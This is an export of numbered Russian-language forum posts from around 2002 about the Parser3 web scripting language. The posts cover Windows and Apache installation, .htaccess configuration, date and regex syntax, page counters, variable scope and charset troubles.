Затем я захочу откусить от этого \"нечто\" .left(1) - пусть теперь воспринимает это \"нечто\" как string, и соответственно поступает. А я не буду учить все варианты скобок...\
 \
Perl-coding style rulez forever!"
"487","[b]Bad Request[/b]\
Your browser sent a request that this server could not understand.\
\
Invalid URI in request GET /jandex.html HTTP/1.1\
\
Additionally, a 400 Bad Request error was encountered while trying to use an ErrorDocument to handle the request.\
Apache/1.3.24 Server at www.mobilezone.com.ua Port 80"
"489","Точно. ({ в доке сливаются, действительно не заметил. Спасибо."
"490","Да, в одном месте нет ссылки :)\
А где поставить проверку то на def?"
"491","В результате выполнения следующего кода отдаётся HTTP-заголовок Last-modified с датой - полночь, 1 января 1970 г.?! Я же вызываю ^date::now[] ?! Или я опять где-то скобку не ту использовал?\
\
$date_now[^date::now[]]\
$week[\
   $.daynames[\
         $.0[Mon]\
         $.1[Tue]\
         $.2[Wed]\
         $.3[Thu]\
         $.4[Fri]\
         $.5[Sat]\
         $.6[Sun]\
   ]\
]\
\
$response:Last-Modified[\
   $.value[$week.daynames.[$date_now.weekday], ^date_now.day.format[%02d] ^date_now.month.format[%02d] ^date_now.year.format[%04d] ^date_now.hour.format[%02d]:^date_now.minute.format[%02d]:^date_now.second.format[%02d] GMT]\
]\
"
"492","Вышел Parser.ru 3.0 с поддержкой XML\
http://xmlhack.ru/articles/02/05/01/parser.html\
\
А на документацию интересно было бы посмотреть. Ибо если оне не будет в стиле \"вот пару примеров, а вообще, читайте спецификации\", то описание поддержки XML будет толще документации на сам Парсер."
"493","Но если обратиться к несуществующему .html-файлу, то выдается сообщение\
\
read failed: No such file or directory (2), actual filename 'z:/p/parser3/public_html/test.html'\
[b]z:/p/parser3/public_html/test.html[/b]\
\
user-request(1)\
exception.type=file.missing\
\
и в логе пишется\
\
[Sat May 04 12:52:42 2002] /test.html: user-request(0): 'z:/p/parser3/public_html/test.html' read failed: No such file or directory (2), actual filename 'z:/p/parser3/public_html/test.html' [file.missing] "
"496","вокруг всех манипуляций с картинкой\
если def - измерять и показывать, нет - выводить заполнитель ячейки таблицы"
"497","1. Описания классов для работы с XML (список того, что будет описано, есть в текущей доке)\
2. Несколько примеров.\
Что такое XML, XSLT, XPath и прочее особо никто объяснять не будет - это не дело доки по парсеру."
"499","Ошибка не в парсере, и их 2...\
1. Формат месяца - May, а не 05 (по этому 1970)\
2. Ты говоришь now(), форматируешь, отдаешь как GMT, а это MSK (т.е. GMT+0400 для теперешнего состояния). Апач считает, что это будушее, и режет до now(). Отдавай или MSK или отрезай 4 часа.\
А со скобками все правильно"
"501","Вопрос:\
А что, все переменные в парсере глобальные?\
Т.е. если я присваиваю значение переменной в одной функции, могу ли я изменить ее значение в другой?"
"502","Но обрашаться можно через $имя_класса:имя_переменной\
"
"503","Переопределяем в конфигурационном файле сайта @unhandled_exception[exception;stack]\
и в нем прописываем реакцию на\
parser.compile\
parser.runtime\
number.zerodivision\
number.format\
file.missing\
file.access\
image.format\
sql.connect\
sql.execute\
xml\
smtp.connect\
smtp.execute\
\
Правильно или есть более изящное решение?"
"504","В auto.p\
\
@css1[]\
траляля.....\
\
(чтобы работал во всех папках :)"
"505","Я не знаю что такое (cvs) и как оно работает, как я могу получить исходный код?\
\
Пожалуйста помогите, хотябы расскажите что такое это самое (cvs)?"
"506","у меня не создаются такие логи, а как их \"включить\". сорри за такую неграмотность, но я решил разобраться\
"
"508","1)как сделать <title>^|^</title>\
динамическим (:)если брать title из sections.cfg)?? :)\
2)\
все из примеров n1\
есть в самом финише    \
[code]\
<a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
[/code]\
\
как сделать чтоб конечный вариант (готовый к употреблению выглядил\
как www.site.com/sectionnamedir?sectionname)\
"
"510","Я так надумал, что Xp зависла немного :)"
"511","Есть Yandex, Rambler, Google - все они прекрасно находят инфу про CVS. Если они не то нашли, смотри http://www.cvshome.org/\
"
"513","хорошо - поищу - и вернусь ..."
"514","Luzhnikovskiy | tom@ofm.ru says:\
\
^var[result;^match[<img alias=\"([^^\"]*)\"([^^>]*)>;g;<img src=\"../admin/articles/photos/^item[\\1]\" ^item[\\2]/>;^var[text]]]\
\
"
"518","Parser3 - rules."
"519","вроде как матчем, или mod-rewrit'om ? ? :(("
"521","Любой"
"522","У меня дома установлен и настроен Апач (выполняет и РНР и Perl) на ВыньХР. Я скачал .exe модуль Парсера, но вот как его можно заюзать если даже не понятно как CHMOD менять в Винде???\
Госп. Лужниковский и другие, вступите со мной в переписку или в чат по ICQ (4662434) и помогите мне все установить\
"
"523","Нахрен чмод на виндовсе ?\
сбросил в cgi-bin пусть там лежит себе спокойно\
сбросил parser3.conf в c:\\windows ?\
сбросил parser3 (папка со всей бедой) ? тудя же ?\
\
настроил .htaccess ?\
(если скачал версию парсера . кот много весит (больше, чем другая вин - версия - )) то надо взять *.dll ы xml и тоже сбросить в \
папку вин XP\
:)"
"524","я вот НИКАК не пойму как это все работает... \
Смотри, у меня на винте есть апач и я думал, что в нем нужно делать как на хостинге, parser3.exe в cgi-bin и все такое %(\
теперь ты говоришь, что парсер3.ехе нужно в каталог windows, а что тогда писать в .htaccess??? путь в папке винды???\
Денис, давайте или посредством форума или почты или Аси вы мне пошагово поможете..."
"525","Parser install faq for winXP ;-) v 0.5 b \
\
1)parser3_1_0_0001_win32_cgi.zip ----> в cgi-bin\
2)((опционально)) - parser3sql_1_0_0001_win32_mysql.zip\
3)parser3conf_20020430_win32.zip-----> в windows directory\
|\
|\
|---->parser3.conf\
|\
|---->parser3 (папка)\
   |\
   |----lib (папка)сюды скопировать parser3_1_0_0001_win32_cgi.zip\
   |\
   |----etc (папка) (для кодировок = не трогать)\
\
все - в распакованном виде \
\
- не забыть отредактировать .htaccess\
- будут вопросы ответим ;)"
"527"," [color=red]|----lib (папка)сюды скопировать parser3_1_0_0001_win32_cgi.zip[/color]\
\
вот про это не понятно - его и в C:\\windows и в c:\\windows\\parser3\\lib ??\
смысл этого???\
а в .htaccess провисывать пути c:\\windows\\parser3\\lib\\parser3.exe"
"528","Скачай просто \"CGI скрипт\". \
http://www.parser.ru/f/1/download/win32/parser3_1_0_0001_win32_cgi.zip\
Ещё нужен \"Главный конфигурационный файл и файлы описания кодировок\".\
http://www.parser.ru/f/1/download/win32/parser3conf_20020430_win32.zip"
"529","Завтра праздник, чем вы тут в такое время занимаетесь? Идите отдыхать, покайтесь, наконец. Неужели вы не видете ничего дальше себя - прах все. Я всех люблю. Класс."
"530","Если сервер Апаче, то должно быть что-то типа этого в файлах конфигурации:\
[code]ErrorLog logs/error.log\
LogLevel warn\
LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\" combined\
CustomLog logs/access.log combined[/code]"
"531","c:\\windows\\parser3\\lib "
"532","Если ты не скажешь иначе - они глобальные в пределах экземпляра класса.\
\
Если ты не работаешь с объектом класса - то глобальные.\
\
Если хочешь локальную - объяви ее таковой:\
\
@method_name[input_vars][local_vars]\
\
"
"533","Цитата из FAQ по Parser: \"Мы не считаем более перекодирование документов в кодировку посетителя необходимым\"...\
\
А почему? Уже неактуально?.. (если где-то были официальные комментарии по этому поводу, буду признателен и за ссылку)"
"534","Просто уже не осталось броузеров, у которых возникают проблемы из-за того, что кодировка документа отличается от кодировки используемой в системе по умолчанию. Достаточно просто правильно описать кодировку в [i]meta[/i] теге документа или в [i]служебной информации[/i]. Раньше, ситуация обстояла противоположным образом -- найти клиент поддерживающий русские кодировки было проблемой, вот и придумали такую фичу, как перекодировка на стороне сервера, чтобы можно было быть полностью уверенным в читаемости информации. Сейчас это уже неактуально. ;-)"
"536","Кроме того отметсются глюки, которые были превнесены русским апачем и появляется возможность не ждать новых версий апача (если кому-то горит) а сразу устанавливать их."
"537","$res[$text.match[<img alias=\"([^^\"]*)\"([^^>]*)>][g]{<img src=\"../admin/articles/photos/${match.1}\" ${match.2}/>}]"
"538","Все вновь начинающиеся сайты начинаем делать на последней версии.\
\
Уже готовые сайта, которые не в поддержке остаются на том парсере на котором и были сделаны.\
\
Поддерживаемые сайты когда как... Если поддержки много, и в новых версиях появилось что нибудь очень полезное/приятное и есть время - переводим на новый билд, иначе нет.\
\
С p2 на p3 еще не переводился ни один сайт ради того, чтобы просто перейти на новый парсер.\
\
Этот сайт был полностью переделан изнутри, именно поэтому был p3.\
\
Я на p2 уже не могу писать :)))"
"539","Ты можешь глянуть класс dtf.p :)\
Сам знаешь где :)\
\
Однако очень может быть что он у тебя не самый последний, я там с локалями кой чего переделал, но смысл может быть ясен.\
\
Да, вот еще что... Этот класс писался тогда, когда в p3 еще не было некоторых методов манипулирования датами, поэтому он такой э-э-э... не супер :)"
"541","В p3 можно-же создавать свои операторы...\
\
например, тот-же color:\
[code]\
#################################################################################################\
@color[color1;color2]\
^if(!def $color_switcher){$color_switcher(0)}\
^ifdef[${color1}${color2}]{\
	$result[^if(^color_switcher.int[] % 2){$color1}{$color2}]\
	^color_switcher.inc[]\
}{\
	$result[]\
	$color_switcher(0)\
}\
#end @color[]\
[/code]\
\
с counter тоже не вижу проблем"
"546","Я теперь простой социолог, сайтом и связями с вашей милой конторой у нас другие занимаются :-) Я даже пароля нового не знаю :-)"
"547","тут мне сказали .............\
   <td width=\"$cell_width\" align=\"middle\">\
$a[$sections.uri]\
$a[^a.match[\\/temp\\/][g]{}]\
$a[^a.match[\\/^$][g]{}]\
<a href=\"$sections.uri?$a\"><nobr>$sections.name</nobr></a> \
   </td> \
\
Я хочу, чтоб из примера Н1 (навигация)\
(в каждой папке по индексу.html)\
url выглядил отак www.site.com/news?news , /about?about\
\
(и при этом не похерить навигацию)\
и тд...\
\
"
"548","А нет ли у кого схемы раскраски синтаксиса P3 для Ultraedit'а или Colorer'a?"
"550","у меня только для Р2"
"551","Нпаиши на P3"
"553","Ребята - подскажите плз.\
как заменить содерж $a : /data/index.html на ?data"
"554","Добрый день,\
та же история.\
\
Есть win2000pro, iis5 (localhost:80), apache (localhost:8000). \
\
IIS настроен, parser3 под ним работает. \
\
Apache работает, printenv.pl дает\
===\
COMSPEC=\"C:\\WINNT\\system32\\cmd.exe\"\
DOCUMENT_ROOT=\"c:/apache/htdocs\"\
GATEWAY_INTERFACE=\"CGI/1.1\"\
HTTP_ACCEPT=\"*/*\"\
HTTP_ACCEPT_ENCODING=\"gzip, deflate\"\
HTTP_ACCEPT_LANGUAGE=\"ru\"\
HTTP_CONNECTION=\"Keep-Alive\"\
HTTP_HOST=\"localhost:8000\"\
HTTP_USER_AGENT=\"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\"\
PATH=\"c:\\mysql\\bin;D:\\Python\\.;D:\\Python\\;d:\\Tcl\\bin;d:\\texmf\\miktex\\bin;C:\\Perl\\bin\\;c:\\tools;c:\\tools\\arc;c:\\tools\\utils;C:\\WINNT\\system32;C:\\WINNT;C:\\WINNT\\System32\\Wbem\"\
QUERY_STRING=\"\"\
REMOTE_ADDR=\"127.0.0.1\"\
REMOTE_PORT=\"1135\"\
REQUEST_METHOD=\"GET\"\
REQUEST_URI=\"/cgi-bin/printenv.pl?\"\
SCRIPT_FILENAME=\"c:/apache/cgi-bin/printenv.pl\"\
SCRIPT_NAME=\"/cgi-bin/printenv.pl\"\
SERVER_ADDR=\"127.0.0.1\"\
SERVER_ADMIN=\"myke@mailru.com\"\
SERVER_NAME=\"localhost\"\
SERVER_PORT=\"8000\"\
SERVER_PROTOCOL=\"HTTP/1.1\"\
SERVER_SIGNATURE=\"<ADDRESS>Apache/1.3.19 Server at localhost Port 8000</ADDRESS>\\n\"\
SERVER_SOFTWARE=\"Apache/1.3.19 (Win32)\"\
SYSTEMROOT=\"C:\\WINNT\"\
WINDIR=\"C:\\WINNT\"\
===\
\
однако \
===\
<html>\
<body>\
\
Hello, world!\
\
$now[^date::now[]] \
<center>Powered by Parser3<br>1997-$now.year</center> \
\
</body>\
</html>\
===\
дает\
Hello, world! $now[^date::now[]] \
Powered by Parser3\
1997-$now.year\
===\
\
как с этим бороться?\
\
.htaccess такой:\
===\
# задание Главного конфигурационного файла\
# (укажите полный путь)\
SetEnv HTTP_PARSER_ROOT_CONFIG c:/winnt/parser3.conf\
\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
#CharsetDisable On\
==="
"557","праздник не удался: при мне сегодня сбила машина с бухим водилой 7-лтнию девочку... её звали Алена...\
..."
"559","куда угодно помещать можно, главное в конфигах пути указать где чего лежит."
"560","junction, это такое явление природы.\
скажем такое...\
[code]\
$junction{код отправки письма}\
^if(условие}{$junction}\
[/code]\
...отправит письмо по условию.\
в таком чистом виде малополезно, но ведь можно сложить в hash и передать куда-нибудь. впрочем, аппетит придёт во время еды.\
\
более привычное место, где попадается junction:\
[code]\
@main[]\
^method{код отправки письма}\
@method[junction]\
^if(всё плохо?){$junction}\
[/code]\
\
и там и там в момент обращения к $junction происходит выполнения кода в том контексте, где он был передан — коду доступны локальные переменные/параметры функций того места, где он был написан."
"561","Утютю....\
- может драйвер мускуэла ругатся под вин ХР - \
выход сбросить его в папку вин"
"562","я подумал, что если нужен такой, то понадобится и конструктор, который разберёт строку такого формата = соорудит объект date.\
\
потом я подумал о больших первых буквах, латышском/украинском/etc языках и склонениях, и решил, что пользователь напишет себе удобный класс, которым и будет пользоваться."
"563","[i]Оператор сохраняет строку...[/i]\
\
и только.\
поэтому и подключение нужных классов, и работу с ними следует ставить внутрь \
[code]^cache[...](...){этого кода}[/code]"
"564","ключевое слово — «view». нет download.\
будет желающие активно копаться в исходниках, прикрутим.\
пока таких просьб не поступало."
"565","В доке не нашел ничего про ^counter[nn], на старый синтаксис ругается. \
Есть ли ^counter в 3 парсере?"
"566","письмо о вложенных вызовах методов. вложенные классы — такого понятия в Parser нет.\
\
куска кода, с проблемой так и не привёл, а хочешь, чтобы что-то посоветовали.\
\
вот вариант, как это может быть у тебя в /auto.p написано:\
[code]\
@page[title]\
$pageTitle[$title]\
@double[...]\
... $pageTitle ...\
[/code]\
работает как часы.\
\
такой способ общения метода с методом я называю очень некрасивым, и в уроках привожу куда более компактный и изящный.\
но это не повод думать, что кто-то кого-то заставляет писать иначе, можно вполне мыслить=скриптить любым способом, какой по душе."
"568","ключевое слово — wget.\
эта утилита есть под unix и cygwin[win32].\
\
[code]^exec[её][/code]\
и нет проблем.\
\
очевидные препятствия для внедрения в Parser: разношёрстность proxy серверов, и нежелание сделать как-нибудь, абы где-то немного работало."
"570","Выход - проведить главный конфиг на предмет правильности путей. Я его куда угодно перемещаю и все работает. ОС тут ни при чём."
"571","Я использую такую штуку:\
[code]\
@counter[]\
^if(def $cookie:counter){}{\
$counter[^table::load[/log/counter.txt]]\
$count_new($counter.number+1)\
$counter[^table::set{number\
$count_new\
}]\
^counter.save[/../log/counter.txt]\
$cookie:counter[$.value[yes] $.expires(1)]\
}\
[/code]\
А в файле counter.txt лежит таблица с одним столбцом number. Вывод количества посещений:\
[code]\
$counter[^table::load[/../log/counter.txt]]\
Количество посещений: $counter.number<br>\
[/code]\
А в начало каждой страницы помещается вызов метода counter:\
[code]\
^counter[]\
[/code]"
"572","некрасивый и неправильный пример, кто сделает, напишите сюда, OK?\
\
не забудьте, что есть ^string.save\
а главное, что есть ^file:lock\
[без которого ваш счётчик будет время от времени падать на ноль]"
"573","зачем apache так поступает — мне не понятно.\
в IIS есть на этот счёт [x] check that file exists.\
\
так что перехватывать exception.\
до кучи: возможно, кто-то захочет, чтобы выдался 404 статус, а не 200, чтобы yandex & co не проиндексировали ваше сообщение об ошибке.\
$response:status[404]\
\
также имейте в виду, что MSIE по умолчанию показывает [x]Friendly HTTP messages, когда длина вашей страницы будет <512 байт."
"574","в третьей строке кода:\
[code]\
$counter[^table::load[/../log/counter.txt]]\
[/code]"
"575","если у кого возникает ощущение, что нечем нам заняться, кроме как исталляторы писать, так оно неверно.\
уверен, у кого есть время, пусть напишет, пришлёт, мы выложим, и имя в «Спасибо» напишем.\
\
порядок предлагаю такой:\
  тут ссылку, \
  кому интересен, пробуют, сообщают автору свои пожелания, \
  автор реализует разумное их количество\
  мы публикуем результат в /download и дописываем добрые слова в /authors"
"576","хороший вопрос. к сожалению, это второе, что лежит в todo по доке, кроме @postprocess, о котором уже тут писал. добавим туда. а пока:\
\
[code]\
$отобранное[^таблица.select(выражение)]\
[/code]\
= таблица из тех же столбцов и строк, у которых условие совпало\
[code]\
$adults[^man.select($man.age>=18)]\
[/code]\
"
"577","По моему нет"
"578","Как писать хорошую прозу? - Возьми ручку, бумагу и пиши."
"579","Будет ли та версия парсера, которая лежит в download, работать под FreeBSD версии 4.3?"
"580","Безусловно, нужен.\
Это одна из очень часто встречающихся конструкций, которую можно и нужно сделать универсальной и максимально простой в использовании. \
Это первое, с чего я начал пользоваться парсером: просто, быстро, удобно, делает то, что нужно. \
Конечно, на php/ perl/ ... можно написать и более специфические вещи, но обычно требуется очень простое решение. Именно его и нужно встроить. Пусть это будет станд. функция или макрос в стандартной библиотеке (кстати, такову. тоже стоит иметь). "
"581","я не очень понял, кто к .chm под win32 не привык.\
и совсем не понял, кто отменил acrobat reader\
[бесплатный, http://www.adobe.com/products/acrobat/readstep.html]\
\
не думаю, что пакованные html имеют смысл"
"583","Он дает в общем случае примерную картину (а более точную все равно придется писать специально), а в некоторых случаях -- вполне правильную. \
Он был в 2 версии, и был полезен. Нужен и в 3. В любом виде.\
Вообще, нехорошо урезать функции при переходе к новой версии. Они могут называться или вызываться по-другому, но быть должны.\
Вот в анонсе были переводы некоторых конструкций со 2 на 3 версию. Счетчик д.б. там же."
"585","Какими средствами-то?\
Если 3 парсером - то так:\
\
^a.match[/data/index\\.html][]{?data}\
\
Только не хорошо думать об index.html, т.к. прийти могут и без оного...\
\
Тогда так:\
^a.match[/data/(index\\.html)?^$][]{?data}\
\
Однако чую, что скорее всего подобная заменя нужна в .htaccess для Rewrites :)\
\
"
"586","Да не ..\
правильно все прописали - и выдавал ошибку.\
может быть это только у меня ?\
- но короче - правильно прописать libparsermysql.dll\
а второй кусок мускл сбросить в папку windows\
вот так точьно (стопудово) работатет \
(может Парсер неправильно вызывает dll на dll ?)"
"588","А он выдает\
\
user-request(1): '/путь_к_файлу/test.html' parser reading files of foreign group disabled [recompile parser without --disable-foreign-group-files configure option], actual filename '/путь_к_файлу/test.html'  type: parser.runtime\
\
Что делать-то?"
"589","В конфигурационном файле записано\
\
<..>\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
<..>\
\
Но в архиве libmysqlclient.so отсутствует."
"591","все дело в названии библиотеки, в старом конфе она называется [i]libparsermysql.dll[/i] а на самом деле её реальное имя в архиве [i]parsermysql.dll[/i]. Ты либо файл переименуй либо конф поправь. Ксати исправленая версия конфа уже есть на этом сайте."
"593","[quote]\
Cкомпилированые версии могут читать и исполнять только файлы, принадлежащие группе пользователей, от которой работает парсер. Это сделано для большей безопасности.\
[/quote]\
"
"596","глобальные в пределах экземпляра класса - это значит локальные"
"597","spasibo za otvet - no eto uze sdelali s momenta ustanovki\
delo ne v nazvanii dll. delo v M$soft"
"598","это Win32 пользователям позволено не знать, о том, что неплохо бы уметь общаться с sql сервером, и нужная .dll включена в архив.\
\
в unix мире считается, что если кто собрался работать с sql сервером, то поставит себе необходимые библиотеки сам/попросит об этом своего системного администратора\
[code]^if($self ne administrator)[/code]\
\
предлагаю скачать соответствующую библиотеку с http://mysql.org/, можно брать только \"Client shared libraries\".\
но рекомендую все \"Client programs\", чтобы иметь возможность делать mysqldump, пользоваться консольным клиентом[mysql] и прочее."
"599","ia xochu - chtob (iz primera 1 - tolko beru nazvania iz bazi mysql)\
vrode match uge perl- programmeri mne podskazali -\
\
\
no vot ne rabotaet teper menu (vse linki aktivnie)\
kak sdelat chtob v ($pages.link eq $request:uri)\
dobavit tot match chto mi snali u $a ??\
\
gde : $pages.link=/about/index.html\
$pages.name= o nas \
\
\
...........cut.....\
$cell_width[^eval(100\\$pages)%] \
^if($pages.link eq $request:uri){ \
   <td width=\"$cell_width\" align=\"middle\" bgcolor=\"#E2E2E2\">  \
   <nobr>$pages.name</nobr> \
   </td> \
}{ \
<td width=\"$cell_width\" align=\"middle\">\
$a[$pages.link]\
$a[^a.match[\\/index.html][]{}]\
$a[^a.match[\\/][g]{}]\
<a href=\"/main$pages.link?$a\"><nobr>$pages.name</nobr></a> \
   </td> \
} "
"602","Глобальные, по моему, - это доступные отовсюду переменные, все остальное локальные."
"603","под MacOS X есть консоль, в ней по-умолчанию есть консольный cvs клиент. называется cvs.\
\
под предыдущие MacOS есть графический MacCVS, качается всё с того же сайта."
"604","таких переменных в Parser вообще нет.\
есть локальные переменные метода, Михаил приводил пример.\
а вообще переменные — динамические или статические поля.\
пока вы не создадите ни одного своего класса, все переменные, которыми вы пользуетесь, это статические поля класса MAIN.\
\
с известной натяжкой допустимо назвать \"глобальной переменной\" вот это:\
[code]\
#в /auto.p\
@auto[]\
$GLOBAL[value]\
[/code]\
поскольку она доступна отовсюду, как\
[code]\
$MAIN:GLOBAL\
[/code]"
"605","Вот мне интересно. Я забацал к примеру крутой сайт, написал обалденные скрипты и закачал все как положено на сервак.\
Обрадованный этим событием я решил прописать свою страничку в поисковиках, что собственно тоже не составило труда.\
Но после определенного срока ожидания, я обнаруживаю, что поисковик находит только мою первую страничку, т.е. index.html, а все остальные нет. Мне же в свою очередь хотелось бы чтобы находились все мои странички, т.к. большая часть из них статьи.\
Когда странички были статическими, проблем в этом небыло.\
С переходом на Парсер этот вопрос возник.\
Почему так?\
И вообще как происходит этот поиск, как робот узнает о ссылках которые у меня лежат в каком-либо *.cfg или еще того круче в SQL таблице?"
"607","У меня же виртуальный сервер :("
"609","...то есть, насколько я понимаю, он индексирует не твои исходники, а то, что передается браузеру пользователя. Так что все ссылки в cfg и sql ему предстают в нормальном виде. Подождать надо, или переиндексировать."
"610","Ресурс вместе с переходом на Парсер переехал на другой сервер.\
Поэтому робот отискал его поновой, но вот углубленно копать по страничкам не хочет."
"612","Так и не понял зачем parser3.conf???\
С ним у меня какая-то ошибка про кодировку вылазит, а без него все окейно."
"614","Какой parser3.conf? Главный или сайта?"
"618","А беда в том, что вероятнее всего, без этого файла у тебя не будут работать методы upper и lower класса string для нелатинских букв."
"619","Да я ждал, причем больше полгода, но это не помогает. А нельзя как-нибудь в отдельном файле все ссылки прописать?"
"620","Как было сказано выше, - это проблема не парсера. У меня сайт (на 2-м парсере)нормально индексируется многими поисковиками."
"622","Сайта."
"624","В этом файле ты задаешь то, с какими кодировками ты работаешь, переменную CLASS_PATH и т.д. а вообще почитай доку про это."
"626","У меня тоже на втором. Но тем не менее ссылок он не находит. Хотя все *.html файлы лежат в одном директории."
"629","Спасибо.\
Все дело было в этом.\
Заработало без проблем, как только прописал сие в настройках апача."
"631","Хочу чтоб работал МенЮ навигации (из примеров)\
- почему глаза болят - этож код парсера :))\
Обяснения: \"pages.link\" \"pages.name\" берется из базы данных\
их содержание:\
\
$pages.link=/about/index.html\
$pages.name= o nas\
\
я заменил код примера - от этим (оттрезал коннект, чтоб глаза \
в самом деле не болели)\
\
...........cut.....\
=================================================================\
$cell_width[^eval(100\\$pages)%]\
^if($pages.link eq $request:uri){\
<td width=\"$cell_width\" align=\"middle\" bgcolor=\"#E2E2E2\">\
<nobr>$pages.name</nobr>\
</td>\
}{\
<td width=\"$cell_width\" align=\"middle\">\
$a[$pages.link]\
$a[^a.match[\\/index.html][]{}]\
$a[^a.match[\\/][g]{}]\
<a href=\"/main$pages.link?$a\"><nobr>$pages.name</nobr></a>\
</td>\
}\
===============================================================\
\
обясняю (v.2)\
$a[$pages.link]\
$a[^a.match[\\/index.html][]{}]\
$a[^a.match[\\/][g]{}]\
\
это чтоб $pages.link=/about/index.html заменился на about\
- дык все прекрасно - с матчем разобрался :))\
- НО ПРОБЛЕМА _ МЕНЮ навигации не работает (тот из примеров \
если выбрана активная папка линк убирался (без ahref))\
ЖДем ответов.\
\
\
"
"633","Как только перевожу файл auto.p в кодировку UTF-8 выводится следующая ошибка\
c:/home/elitherm.gr/www/auto.p(47:1): parse error, expecting `$'\
exception.type=parser.compile\
\
как с этим бороться"
"637","я делаю сайт на греческом языке парсер не поддерживает греческую кодировку. Так что получается что я не могу в auto.p вставлять текст. И еще у меня win 2000 prof английский в нем и нет возможности в ноутпаде писать на греческом он сразу говорит что надо в юникод переводить. Или может есть какой-то способ без использования юникода?"
"638","а ты parser3.conf сайта правил? задавая [i]$request:charset[utf-8][/i]?"
"642","Как и во 2-й версии парсера, в 3-й тоже нельзя работать через ODBC используя хранимые процедуры Microsoft SQL Server для выборки данных, или я не прав? Поправьте ежели чего."
"644","Так вот на компьютере стоит у меня Windows ME + Apache 1.3.11.\
Скачал себе parser3.exe (parser3_1_0_0001_win32_cgi.zip)\
Скинул parser3.exe в /cgi-bin/ Апача, \
parser3.conf (вместе с другими папками из parser3conf_20020430_win32.zip) скопировал\
в папку c:\\windows, и в parser3.conf прописал пути как надо.\
\
Апач насроил таким образом.\
\
httpd.conf:\
------\
ServerName localhost\
DocumentRoot \"c:/files\"\
DirectoryIndex index.htm index.html index.shtml\
ScriptAlias /cgi-bin/ \"c:/apache/cgi-bin/\"\
AccessFileName .htaccess\
------\
\
.htaccess:\
------\
# задание Главного конфигурационного файла\
SetEnv HTTP_PARSER_ROOT_CONFIG c:/windows/parser3.conf\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
------\
\
Делаю урок номер 1 из хелпа, и он мне выдает такую бодягу:\
------\
column not found\
uri\
\
c:/files/auto.p(7)\
exception.type=parser.runtime \
------------------------------\
menu c:/files/auto.p(5)\
navigation c:/files/index.html(1)\
------\
Что мне с этим делать? Помогите кто-нибудь.\
На Парсер 2 таже фигня 8("
"647","надо не copy paste\
той таблици в мануале а \
файл ручками отредактировать \
и через табуляцию писать."
"660","win95, Apache/1.3.9 (Win32) Parser/3.0b, парсер работает как ApacheModuleParser3.dll\
Пишу такой код:\
[b]mytable.p:[/b]\
[code]\
@CLASS\
mytable\
\
@BASE\
table\
\
@hey[]\
<b>Hey-yo!</b><br>\
[/code]\
\
[b]index.html:[/b]\
[code]\
$CLASS_PATH[^table::create{dir\
.\
}]\
<html>\
<body>\
@use[mytable.p]\
\
$tab[^mytable::create{str\
1\
2\
3\
}]\
[/code]\
Если всё сделать так, то апача долго дохнет в парсерной .длл. Если вместо ::create{} заюзать ::load[], то результат тотже. \
Естественно, если $tab создавать как ^table, то всё ОК.\
\
Почему?"
"670","1. закоментарить $request и responce, вроде по умолчанию UTF-8\
\
2. Чем ты перекодируешь в UTF-8 (именно UTF-8, а не UNICODE). Мой любимый UltraEdit до последней версии делал это криво, например."
"672","А я таблицу ручами набивал через один пробел и хоть бы что....\
и на втором парсере он не может читать столбцы тоже :(\
фигня какая-то"
"673","Думай в эту сторону:\
$dir[/about/]\
^if(in $dir){\
 в директории about\
}{\
 не в ней, родимой\
}\
\
Заниматься распарсеванием вручную урлов дело нехорошее.\
\
Писать за тебя код я не буду по двум пречинам:\
1. лениво\
2. пример 1 я не видел в глаза, и, если честно, смотреть на него неохота :)"
"674","[b]ЧЕРЕЗ ТАБУЛЯТОР, А НЕ ЧЕРЕЗ ПРОБЕЛ![/b]"
"676","\
\
\
\
"
"677","я так и сделал..."
"680","http://www.cygwin.com/"
"682","ИМХО, это нужно прописать в [i]/conf/httpd.conf[/i], между тегами описания дирректорий. В итоге может быть что-то типа этого. \
[code]<Directory \"C:/Program Files/Apache Group/Apache/htdocs\">\
    Options Indexes FollowSymLinks MultiViews\
    AllowOverride All\
    Order allow,deny\
    Allow from all\
</Directory>[/code]"
"683","В корневом auto.p описаны методы:\
\
[code]\
@dbconnect[code]\
^connect[$connect_string]{$code}\
\
@sub_services[st]\
^dbconnect{\
    $sub_services[^table::sql{select distinct\
                           a.sst_id, a.name\
    from\
        service_subtype a, services_order b\
    where \
         a.sst_id = b.sst_id and b.st_id = $st ORDER BY a.priority\
    }]\
}\
\
@services_by_sst[st;sst]\
^dbconnect{\
    $services_by_sst[^table::sql{select\
                           a.s_id, a.name\
    from\
        services a, services_order b\
    where\
        a.s_id = b.s_id and b.st_id = $st and b.sst_id = $sst\
    }]\
}\
[/code]\
\
В шаблоне страницы пишем:\
\
[code]\
^sub_services[$form:st]\
   ^if($sub_services){\
      <ul>\
         ^sub_services.menu{\
            ^services_by_sst[$form:st;$sub_services.sst_id]\
               ^if($services_by_sst){\
                  <li>$sub_services.name\
                     <ul>\
                        ^services_by_sst.menu{<li><a href=\"srvcsnfl.html?s=$services_by_sst.s_id&st=$form:st\">$services_by_sst.name</a>}\
                     </ul>\
               }\
         }\
      </ul>  \
   }\
[/code]\
\
На что парсер отвечает: \
(table) not a method or junction, can not call it\
services_by_sst\
\
c:/public_html/dgtl/srvcsdtl.html(28)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
menu c:/public_html/dgtl/srvcsdtl.html(27)\
if c:/public_html/dgtl/srvcsdtl.html(25)\
body c:/public_html/dgtl/auto.p(3)\
\
Помогите пожалуйста, люди."
"684","Перекодирую именно в UTF-8. Перекодирую в Notepad он у меня как только я пишу какой-то текст не латинскими буквами при сохранении выдает что текст содержит Unicode символы и не дает сохранить в ANSI а что если пользоваться какими-то другими программами то может помочь если да то какими?"
"685","а как ? [code]...[/code]?"
"686","Спасибо за ответ -\
понял- что имел ввиду :))\
